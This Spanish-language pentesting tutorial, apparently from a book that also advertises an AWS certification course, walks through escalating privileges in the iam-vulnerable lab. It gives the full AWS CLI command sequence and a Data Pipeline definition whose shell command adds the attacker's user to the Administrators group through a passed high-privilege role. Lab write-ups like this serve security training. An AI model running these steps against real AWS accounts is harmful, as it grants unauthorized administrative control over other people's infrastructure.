PassExistingRoleToNewDataPipeline

¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el CPNA - Curso Profesional de Pentesting Contra AWS. No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.

Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

https://github.com/BishopFox/iam-vulnerable

¿Qué es Datapipeline?

AWS Data Pipeline es un servicio web diseñado para ayudarlo a procesar datos y a transferirlos, de manera fiable y a intervalos definidos, entre diferentes servicios de almacenamiento y cómputo de AWS, así como entre orígenes de datos locales. Con AWS Data Pipeline, puede obtener acceso con regularidad a las ubicaciones en las que están almacenados los datos, transformarlos y procesarlos a escala, además de poder transferir los resultados con eficacia a los servicios de AWS como Amazon S3, Amazon RDS, Amazon DynamoDB y Amazon EMR.

Un atacante con los permisos iam:PassRole , datapipeline:CreatePipeline y datapipeline:PutPipelineDefinition podría aumentar los privilegios creando una pipeline y actualizándola para ejecutar un comando arbitrario de AWS CLI o crear otros recursos.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

aws iam list-attached-user-policies --user-name privesc21-PassExistingRoleToNewDataPipeline-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/privesc21-PassExistingRoleToNewDataPipeline --version-id v1

Para este escenario estaremos utilizando el siguiente rol:

Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a un pipeline.

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc21-PassExistingRoleToNewDataPipeline-role --role-session-name privesc21

A partir de este momento, estaremos trabajando con el usuario privesc21-PassExistingRoleToNewDataPipeline-user.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile privesc21

El token se especificará dentro del archivo plano de credenciales.

aws sts get-caller-identity --profile privesc21

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc21-PassExistingRoleToNewDataPipeline-user --profile privesc21

En este escenario, tenemos que aprovechar del privilegio de datapipeline:CreatePipeline para crear un pipeline.

Posteriormente, utilizaremos el permiso datapipeline:PutPipelineDefinition para actualizar la definición de nuestro pipeline y esta será la encargada de adicionar nuestro usuario inicial al grupo de administradores.

Para la creación del pipeline, tenemos que utilizar una plantilla en donde se especifique que recursos serán creados.

En este ejemplo, el atacante activará una instancia EC2.

A continuación, se muestra el comando para crear un pipeline:

aws datapipeline create-pipeline --name privesc --unique-id privesctest --profile privesc21

En la evidencia previa, podemos apreciar el valor del PipelineID que fue retornado después de ejecutar el comando para crear el pipeline malicioso.

Ahora que hemos creado nuestro pipeline malicioso, vamos aprovechar nuestro otro privilegio de datapipeline:PutPipelineDefinition para actualizar el pipeline y especificar la definición.

La definición del pipeline tiene el siguiente contenido:

Puedes descargar el pipeline desde el siguiente enlace:

pipeline-spartan.json
{
     "objects": [
     {
         "id" : "CreateDirectory",
         "type" : "ShellCommandActivity",
         "command" : "aws iam add-user-to-group --group-name Administrators --user-name privesc21-PassExistingRoleToNewDataPipeline-user",
         "runsOn" : {"ref": "instance"}
     },
     {
         "id": "Default",
         "scheduleType": "ondemand",
         "failureAndRerunMode": "CASCADE",
         "name": "Default",
         "role": "privesc-high-priv-service-role",
         "resourceRole": "privesc-high-priv-service-profile"
     },
     {
         "id" : "instance",
         "name" : "instance",
         "type" : "Ec2Resource",
         "actionOnTaskFailure" : "terminate",
         "actionOnResourceFailure" : "retryAll",
         "maximumRetries" : "1",
         "instanceType" : "t2.micro",
         "securityGroups" : ["launch-wizard-1"],
         "keyPair" : "ssh_keys",
         "role" : "privesc-high-priv-service-role",
         "resourceRole" : "privesc-high-priv-service-profile"
     }]
}

El comando para actualizar la definición del pipeline recién creado es:

Debemos tener en cuenta que el valor del pipeline-id fue extraído por el comando previamente explicado.

aws datapipeline put-pipeline-definition --pipeline-id df-07792257LS8Z17HL0Z5 --pipeline-definition file://pipeline-spartan.json --profile privesc21 

En la evidencia previa, podemos ver como AWS emite algunas advertencias, pero el resultado indica que el comando no se equivocó y, por lo tanto, tuvo éxito.

Finalmente, para ejecutar el pipeline, el atacante debe activarla. Si tiene éxito, este comando no proporciona ningún resultado:

aws datapipeline activate-pipeline --pipeline-id df-07792257LS8Z17HL0Z5 --profile privesc21

La instancia EC2 tarda un par de minutos en activarse, pero una vez que lo hace, el comando definido en la definición de pipeline de datos se ejecutará y agregará la cuenta del atacante al grupo de administración.

Después de un tiempo, si validamos los integrantes del grupo administrativo lograremos apreciar nuestro usuario:

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.

Última actualización